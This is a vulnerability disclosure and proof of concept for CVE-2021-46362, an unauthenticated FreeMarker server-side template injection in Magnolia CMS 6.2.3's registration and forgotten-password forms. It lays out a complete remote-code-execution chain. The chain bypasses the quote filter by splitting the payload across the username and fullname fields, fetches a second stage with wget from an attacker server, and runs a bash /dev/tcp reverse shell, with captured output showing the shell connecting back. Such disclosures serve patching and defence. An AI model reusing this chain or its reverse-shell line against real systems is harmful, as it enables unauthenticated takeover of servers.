

# Magnolia Disclosures

Version 6.2.3

## Environment:

- Magnolia 6.2.3
- Ubuntu Linux

## Findings:

### 1. CVE-2021-46362: Unauthenticated Server-Side Template Injection

#### Description:

The registration and/or forgotten-password forms use FreeMarker in order to send emails with dynamic content. By inserting malicious content in the “fullname” parameter an unauthenticated attacker may perform SSTI (Server-Side Template Injection) attacks, which can leverage FreeMarker in order to obtain RCE (Remote Code Execution).

#### Proof of Concept:

As mentioned in the description, the “fullname” parameter is vulnerable to SSTI, unfortunately due to character filtering of double quote and single quote, we cannot directly obtain RCE from this field alone.

To solve this, we will use the “username” parameter to store the strings required for the exploit, bypassing the above-mentioned restriction.

For example, in order to obtain RCE the following FreeMarker payload can be used:

```
${"freemarker.template.utility.Execute"?new()}("command")}
```

But, in order to bypass the restriction, we will split it in the following way:

```
Username: freemarker.template.utility.ExecuteXcommand
Fullname: ${user.name?substring(0,35)?new()}(user.name?substring(36))}
```

**Note:** We deduce the “user.name” parameter by reading “publicuserregistration/components/password-reset-email.ftl”.

Because the username also has different special character restrictions (E.g. bad chars: “/”, “:”, etc), we will use 2 commands in order to execute any code on the target system.

The first command is a “wget” that will be used to download a more complex bash command containing restricted characters. The command will be hosted in “index.html” on an attacker-controlled server and, in this case, has the following content:

```
0<&196;exec 196<>/dev/tcp/127.0.0.1/5555; sh <&196 >&196 2>&196
```

The SSTI used to retrieve the payload was the following:

```
Username: freemarker.template.utility.ExecuteXwget 127.0.0.1 -O exploit
Fullname: ${user.name?substring(0,35)?new()}(user.name?substring(36))}
```

## Register User:

Register - Mozilla Firefox

Admincentral - Magnolia x m Register x mt Forgotten password x +

127.0.0.1:8080/magnoliaAuthor/travel/members/registration.html

LOG OUT | SUPERUSER ENGLISH | GERMAN

magnoliatravels TOURS DESTINATIONS STORIES ABOUT CONTACT MEMBERS TEST Search

MEMBER CONTENT

### REGISTER

Sign up for your free Magnolia Travels membership. Members get access to exclusive Magnolia Travels content, tips and discounts.

Username \*  
plate.utility.ExecuteXwget 127.0.0.1 -O exploit

Password \*  
...

Password confirmation \*  
...

Full name \*  
mal\${user.name?substring(0,35)?new()(user.n

Email \*  
mal14@mal.testers.mal

Register

## Trigger Wget via Forgot Password:

Forgotten password - Mozilla Firefox

Admincentral - Magnolia x m Register x mt Forgotten password x +

127.0.0.1:8080/magnoliaAuthor/travel/members/forgotten-password.html

LOG OUT | SUPERUSER ENGLISH | GERMAN

magnoliatravels TOURS DESTINATIONS STORIES ABOUT CONTACT MEMBERS TEST Search

MEMBER CONTENT

### RECOVER YOUR PASSWORD

User name  
plate.utility.ExecuteXwget 127.0.0.1 -O exploit

Email

Submit

## Attacker View ("index.html" gets requested from the malicious server):

```
guest@tester: ~/Desktop/Magnolia/ssti
File Edit View Search Terminal Help
guest@tester:~/Desktop/Magnolia/ssti$ cat index.html
0<&196;exec 196<>/dev/tcp/127.0.0.1/5555; sh <&196 >&196 2>&196
guest@tester:~/Desktop/Magnolia/ssti$
guest@tester:~/Desktop/Magnolia/ssti$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
127.0.0.1 - - [01/Nov/2020 23:29:52] "GET / HTTP/1.1" 200 -
```

With the “exploit” file in place, we now need to execute it with the following SSTI:

```
Username: freemarker.template.utility.ExecuteXbash exploit
Fullname: ${user.name?substring(0,35)?new() (user.name?substring(36)) }
```

Same process is used as above with the new malicious username.

Register user2:

Admincentral - Magnolia x m Register x m Forgotten password x +

127.0.0.1:8080/magnoliaAuthor/travel/members/registration.html

LOG OUT | SUPERUSER ENGLISH | GERMAN

magnoliatravels TOURS DESTINATIONS STORIES ABOUT CONTACT MEMBERS TEST Search

MEMBER CONTENT

## REGISTER

Sign up for your free Magnolia Travels membership. Members get access to exclusive Magnolia Travels content, tips and discounts.

Username \*  
freemarker.template.utility.ExecuteXbash exploit

Password \*  
...

Password confirmation \*  
...

Full name \*  
mal\${user.name?substring(0,35)?new() (user.n

Email \*  
mal15@mail.testers.mal

Register

Run bash:

Admincentral - Magnolia x m Register x m Forgotten password x +

127.0.0.1:8080/magnoliaAuthor/travel/members/forgotten-password.html

LOG OUT | SUPERUSER ENGLISH | GERMAN

magnoliatravels TOURS DESTINATIONS STORIES ABOUT CONTACT MEMBERS TEST Search

MEMBER CONTENT

## RECOVER YOUR PASSWORD

User name  
freemarker.template.utility.ExecuteXbash exploit

Email

Submit

Receive reverse shell:

```
guest@tester: ~/Desktop/Magnolia/ssti
File Edit View Search Terminal Help
guest@tester:~/Desktop/Magnolia/ssti$ cat index.html
0<&196;exec 196<>/dev/tcp/127.0.0.1/5555; sh <&196 >&196 2>&196
guest@tester:~/Desktop/Magnolia/ssti$
guest@tester:~/Desktop/Magnolia/ssti$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
127.0.0.1 - - [01/Nov/2020 23:29:52] "GET / HTTP/1.1" 200 -

guest@tester: /tmp
File Edit View Search Terminal Help
guest@tester:/tmp$ nc -lvp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from localhost 39246 received!
id
uid=1000(guest) gid=1000(guest) groups=1000(guest),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
pwd
/home/guest/Desktop/Magnolia
```